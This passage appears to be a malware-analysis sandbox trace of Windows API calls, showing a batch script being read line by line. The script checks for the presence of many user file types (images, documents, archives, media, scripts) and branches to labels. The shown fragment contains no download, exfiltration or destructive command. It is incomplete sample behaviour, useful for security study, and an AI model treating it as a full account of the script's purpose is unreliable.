cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n") returned 2 [0037.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0037.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.270] GetFileType (hFile=0x74) returned 0x1 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0037.270] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=2246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0037.270] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n") returned 25 [0037.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0037.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.270] GetFileType (hFile=0x74) returned 0x1 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0037.271] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=2248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0037.271] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0037.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0037.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.271] GetFileType (hFile=0x74) returned 0x1 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0037.271] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=2275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0037.271] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0037.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0037.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.271] GetFileType (hFile=0x74) returned 0x1 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0037.271] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=2300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0037.271] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0037.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0037.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.272] GetFileType (hFile=0x74) returned 0x1 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0037.272] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=2325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0037.272] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0037.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0037.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.272] GetFileType (hFile=0x74) returned 0x1 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0037.272] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=2352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0037.272] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l\r\n") returned 27 [0037.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0037.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.272] GetFileType (hFile=0x74) returned 0x1 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0037.272] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=2379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0037.272] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l\r\n") returned 27 [0037.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0037.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.273] GetFileType (hFile=0x74) returned 0x1 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0037.273] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=2406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0037.273] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l\r\n") returned 27 [0037.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0037.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.273] GetFileType (hFile=0x74) returned 0x1 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0037.273] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=2433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0037.273] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l\r\n") returned 27 [0037.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0037.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.273] GetFileType (hFile=0x74) returned 0x1 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0037.273] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=2460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0037.273] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l\r\n") returned 27 [0037.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0037.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.274] GetFileType (hFile=0x74) returned 0x1 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0037.274] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=2487, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0037.274] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l\r\n") returned 27 [0037.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0037.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.274] GetFileType (hFile=0x74) returned 0x1 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0037.274] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=2514, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0037.274] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l\r\n") returned 27 [0037.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0037.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.274] GetFileType (hFile=0x74) returned 0x1 [0037.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0037.274] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=2541, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0037.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l\r\n") returned 27 [0037.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0037.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.275] GetFileType (hFile=0x74) returned 0x1 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0037.275] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=2569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0037.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l\r\n\r\n") returned 28 [0037.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0037.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.275] GetFileType (hFile=0x74) returned 0x1 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0037.275] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=2596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0037.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l\r\n\n") returned 27 [0037.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0037.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.275] GetFileType (hFile=0x74) returned 0x1 [0037.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0037.275] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=2623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0037.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l\r\n") returned 27 [0037.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0037.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.276] GetFileType (hFile=0x74) returned 0x1 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa3f [0037.276] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=2650, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0037.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l\r\n") returned 27 [0037.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0037.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.276] GetFileType (hFile=0x74) returned 0x1 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa5a [0037.276] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=2677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0037.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l\r\n") returned 27 [0037.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0037.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.276] GetFileType (hFile=0x74) returned 0x1 [0037.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa75 [0037.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=2704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0037.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l\r\n") returned 27 [0037.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0037.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.277] GetFileType (hFile=0x74) returned 0x1 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa90 [0037.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=2731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0037.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l\r\n") returned 27 [0037.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0037.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.277] GetFileType (hFile=0x74) returned 0x1 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xaab [0037.277] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=2758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0037.277] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l\r\n") returned 27 [0037.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0037.277] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.277] GetFileType (hFile=0x74) returned 0x1 [0037.277] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xac6 [0037.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=2786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0037.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l\r\n") returned 28 [0037.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0037.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.278] GetFileType (hFile=0x74) returned 0x1 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae2 [0037.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=2792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0037.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l\r\n") returned 6 [0037.278] 